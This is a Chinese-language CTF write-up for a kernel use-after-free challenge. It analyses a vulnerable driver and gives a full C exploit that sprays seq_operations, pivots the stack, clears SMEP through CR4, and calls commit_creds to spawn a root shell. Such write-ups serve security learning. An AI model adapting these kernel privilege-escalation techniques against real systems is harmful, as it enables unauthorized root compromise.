Linux Kernel Exploitation 生存日记 - 0x02

# Kernel UAF

# 概述

就是 UAF。

# 网鼎杯 - 玄武组 - pwn03

# 题目分析

# 初步分析

start.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel bzImage \
-initrd rootfs.cpio \
-append 'root=/dev/ram console=ttyS0 oops=panic panic=1' \
-monitor /dev/null \
-cpu kvm64,+smep \
-monitor /dev/null \
-smp cores=1,threads=1 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-s

可以看到开启 kaslr、smep、kpti。

而且内核地址直接白给)

1
2
3
4
5
6
7
8
/ $ ls /proc/ -al | grep kallsyms
-r--r--r-- 1 0 0 0 Nov 7 14:11 kallsyms
/ $ cat /proc/kallsyms | grep commit_cred
ffffffffa96ac050 T commit_creds
ffffffffaa37c6c0 r __ksymtab_commit_creds
ffffffffaa39ec60 r __kcrctab_commit_creds
ffffffffaa3b17bb r __kstrtab_commit_creds
/ $

之后 init 中可以看到路径并提取出 easy.ko

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /usr/easy.ko
chmod 666 /dev/easy
echo "flag{test}" > /flag
chmod 600 /flag
# poweroff -d 120 -f &
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
poweroff -d 0 -f

# 静态分析

定义了 vuln_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall vuln_ioctl(file *filp, unsigned int cmd, unsigned __int64 args)
{
__int64 v3; // rdx
_QWORD *private_data; // rbx

_fentry__();
private_data = filp->private_data;
if ( cmd )
{
if ( cmd == 1 )
kfree(*private_data);
return 0LL;
}
else
{
*private_data = _kmalloc(v3, 0x24000C0LL);
return 0LL;
}
}

选项 0 是创建一个堆,选项 1 是 free 掉这个堆块。
同时注意到这个堆块地址是全局变量,存在 UAF。

除此之外 vuln_read,vuln_write 即对堆块进行读写,不存在堆溢出。

# 攻击思路

存在任意申请 size 的堆块的 UAF 漏洞。之后便可以利用其劫持一些结构体达到 RCE 并提权。

这里劫持 seq_operations 结构体,定义:

/include/linux/seq_file.h

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

创建这个结构体只需要 open ("/proc/self/stat") 即可。大小为 0x20。同时只需要 read 函数即可触发 * start 函数。

为了增加劫持成功的概率,这里进行了 0x200 次 open 和 read 进行堆喷。

# 动态调试

此时我们只能执行一个地址的代码,没有达到 ROP 的目的。

内核栈大小很小,而且 syscall 之前会把用户态所有寄存器 push 到栈上面,即位于栈最高地址处(pt_regs 结构体)。

经过计算,我们将 rsp+0x190 就可以劫持执行流到 push 的用户态寄存器残留的地址上。

使用下面的代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__asm__(
"mov rax,%0\n"
"mov rbx,%0\n"
"mov rcx,%0\n"
"mov rdx,%0\n"
"mov rdi,%0\n"
"mov rsi,%0\n"
"mov rdx,%0\n"
"mov r8,%0\n"
"mov r9,%0\n"
"mov r10,%0\n"
"mov r11,%0\n"
"mov r12,%0\n"
"mov r13,%0\n"
"mov r14,%0\n"
"mov r15,%0\n"
:
:"r" (pop_rax_pop_rsp_pop3_ret)
:"r12"
);

同时 ROPgadget 可以搜到 add rsp,0x190;pop_2;ret 的 gadget,相当于 add rsp,0x1a0;ret 的 gadget。

经测试,我们正好 ret 到存储的用户态 rbp 前一个 size_t 的位置,我们设置这个地址为 pop rsp;ret 即可栈迁移到用户态(因为这里没有开 smap)

我们只需要提前在用户态 rbp 以及之后布置 ROP 链子即可。

bypass smep 即可设置 cr4 为 0x7f0

但是由于存在 kpti,此时我们用户态代码无法执行,会触发 Segmentation fault.
查找后发现没找到 swapgs_restore_regs_and_return_to_usermode 函数地址,这里采用另一种方法。
由于这个 Segmentation fault. 是用户态错误,会陷入到内核态进行处理,但是没有触发 kernel panic。我们可以绑定一个信号处理函数为 getshell 函数,即可执行 get shell 函数。
代码最前面加上 signal(SIGSEGV, getRootShell); 即可。

# Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define POP_RDI_RET 0x048955
#define POP_RAX_RET 0xda64
#define MOV_CR4_RDI_POP_RBP_RET 0x01b9e0
#define MOV_RSP_RAX_DEC_EBX_RET 0x8acb8e
#define ADD_RSP_1a0 0x5d0263
// mov rsp, rax ; pop rax ; jmp 0xffffffff818acb07

#define MOV_RSP_R9_POP4_RET 0x39adc4
#define SWAPGS_POP_RBP_RET 0x065354
#define IRETQ_RET 0x18453f
// 0xffffffff81a00a33 : mov rsp, rax ; pop rax ; jmp 0xffffffff81a00987
size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
system("/bin/sh");
exit(0);
}
size_t base;
int main(void)
{
signal(SIGSEGV, getRootShell);
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
base=commit_creds-0xac050;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
printf("\033[32m\033[1m[+] Successful to get the addr of kernel_base:\033[0m%llx\n", base);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
// 0xffffffff811cb8a2: pop rdx; ret;
// 0xffffffff810117c4: or rax, rdi; ret;
size_t pop_rdx=base+0x1cb8a2;
size_t mov_rdi_rax_call_rdx=base+0xfea72b;
size_t rop[0x20], p = 0;
size_t init_cred=base+0xe5a140;
rop[p++] = base+POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = base+MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;

rop[p++] = base+POP_RDI_RET;
rop[p++] = init_cred;
rop[p++] = commit_creds;
rop[p++] = base+SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = base+IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;

int fd1 = open("/dev/easy", 2);
int fd2 = open("/dev/easy", 2);

ioctl(fd1, 0x0, 0x20);
ioctl(fd1, 0x1, 0x20);

size_t fake_stat[4];
size_t stat_fd[0x200];
for (int i=0;i<0x200;i++){
stat_fd[i]=open("proc/self/stat",0);
}

read(fd2,fake_stat,0x20);
fake_stat[0]=base+ADD_RSP_1a0;
write(fd2,fake_stat,0x20);
size_t pop_rdi=base+POP_RDI_RET;

size_t pop_rax_pop_rsp_pop3_ret=base+0x194570;
size_t cur_rbp;
asm(
"mov %0,rbp"
:"=r"(cur_rbp)
:
:
);
memcpy(cur_rbp,rop,sizeof(rop));
for (int i=0;i<0x200;i++){
__asm__(
"mov rax,%0\n"
"mov rbx,%0\n"
"mov rcx,%0\n"
"mov rdx,%0\n"
"mov rdi,%0\n"
"mov rsi,%0\n"
"mov rdx,%0\n"
"mov r8,%0\n"
"mov r9,%0\n"
"mov r10,%0\n"
"mov r11,%0\n"
"mov r12,%0\n"
"mov r13,%0\n"
"mov r14,%0\n"
"mov r15,%0\n"
:
:"r" (pop_rax_pop_rsp_pop3_ret)
:"r12"
);
read(stat_fd[i],fake_stat,0x20);
}
return 0;
}